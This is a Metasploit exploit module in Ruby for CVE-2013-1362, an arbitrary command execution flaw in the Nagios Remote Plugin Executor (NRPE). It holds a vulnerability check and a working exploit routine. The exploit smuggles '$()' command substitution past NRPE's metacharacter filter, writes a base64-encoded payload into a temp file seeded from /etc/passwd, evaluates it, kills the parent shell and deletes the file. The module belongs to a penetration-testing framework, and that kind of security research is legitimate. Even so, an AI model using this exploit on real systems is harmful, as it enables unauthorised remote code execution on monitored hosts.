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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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#
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'        => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
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      'Description' => %q{
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          The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
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        Nagios server to actively poll information from the hosts it monitors. NRPE
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        has a configuration option dont_blame_nrpe which enables command-line arguments
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        to be provided remote plugins. When this option is enabled, even when NRPE makes
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        an effort to sanitize arguments to prevent command execution, it is possible to
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        execute arbitrary commands.
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      },
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      'Author'      =>
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        [
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          'Rudolph Pereir', # Vulnerability discovery
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          'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
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        ],
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      'References'  =>
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        [
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          [ 'CVE', '2013-1362' ],
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          [ 'OSVDB', '90582'],
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          [ 'BID', '58142'],
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          [ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
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        ],
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      'License'     => MSF_LICENSE,
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      'Platform'    => 'unix',
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      'Arch'        => ARCH_CMD,
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      'Payload'     =>
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        {
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'perl python ruby telnet',
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              # *_perl, *_python and *_ruby work if they are installed
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            }
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        },
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      'Targets'     =>
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        [
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          [ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2013-02-21'
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    ))
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    register_options(
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      [
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        Opt::RPORT(5666),
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        OptEnum.new('NRPECMD', [
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          true,
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          "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
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          'check_procs',
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          ['check_procs', 'check_users', 'check_load', 'check_disk']
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        ]),
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        # Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
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        OptBool.new('NRPESSL', [ true,  "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
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      ])
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  end
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  def send_message(message)
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    packet = [
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      2,       # packet version
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      1,       # packet type, 1 => query packet
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      0,       # checksum, to be added later
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      0,       # result code, discarded for query packet
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      message, # the command and arguments
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      0        # padding
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    ]
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    packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
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    begin
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      self.sock.put(packet.pack("nnNna1024n")) #send the packet
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      res = self.sock.get_once # get the response
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    rescue ::EOFError => eof
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      res = ""
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    end
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    return res.unpack("nnNnA1024n")[4] unless res.nil?
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  end
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  def setup
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    @ssl_socket = nil
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    @force_ssl = false
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    super
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  end
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  def exploit
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    if check != Exploit::CheckCode::Vulnerable
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      fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
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    end
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    stage = "setsid nohup #{payload.encoded} & "
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    stage = Rex::Text.encode_base64(stage)
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    # NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
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    command = datastore['NRPECMD']
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    command << "!"
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    command << "$($(rm -f /tmp/$$)" 	# Delete the file if it exists
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    # need a way to write to a file without using redirection (>)
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    # cant count on perl being on all linux hosts, use GNU Sed
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    # TODO: Probably a better way to do this, some hosts may not have a /tmp
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    command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
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    command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
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    command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
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    command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
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    command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
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    command << "$(rm -f /tmp/$$))" # clean the file with the stage
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    connect
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    print_status("Sending request...")
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    send_message(command)
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    disconnect
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  end
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  def check
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    vprint_status("Checking if remote NRPE supports command line arguments")
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    begin
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      # send query asking to run "fake_check" command with command substitution in arguments
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      connect
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      res = send_message("__fake_check!$()")
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      # if nrpe is configured to support arguments and is not patched to add $() to
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      # NASTY_META_CHARS then the service will return:
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      #  NRPE: Command '__fake_check' not defined
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      if res =~ /not defined/
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        return Exploit::CheckCode::Vulnerable
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      end
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    # Otherwise the service will close the connection if it is configured to disable arguments
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    rescue EOFError => eof
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      return Exploit::CheckCode::Safe
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    rescue Errno::ECONNRESET => reset
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      unless datastore['NRPESSL'] or @force_ssl
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        vprint_status("Retrying with ADH SSL")
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        @force_ssl = true
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        retry
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      end
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      return Exploit::CheckCode::Safe
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    rescue => e
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      return Exploit::CheckCode::Unknown
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    end
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    # TODO: patched version appears to go here
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    return Exploit::CheckCode::Unknown
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  end
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  # NRPE uses unauthenticated Anonymous-Diffie-Hellman
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  # setting the global SSL => true will break as we would be overlaying
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  # an SSLSocket on another SSLSocket which hasnt completed its handshake
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  def connect(global = true, opts={})
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    self.sock = super(global, opts)
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    if datastore['NRPESSL'] or @force_ssl
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      ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)
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      ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
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      ctx.ciphers = "ADH"
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      @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
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      @ssl_socket.connect
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      self.sock.extend(Rex::Socket::SslTcp)
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      self.sock.sslsock = @ssl_socket
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      self.sock.sslctx  = ctx
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    end
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    return self.sock
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  end
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  def disconnect
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    @ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
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    super
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  end
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end
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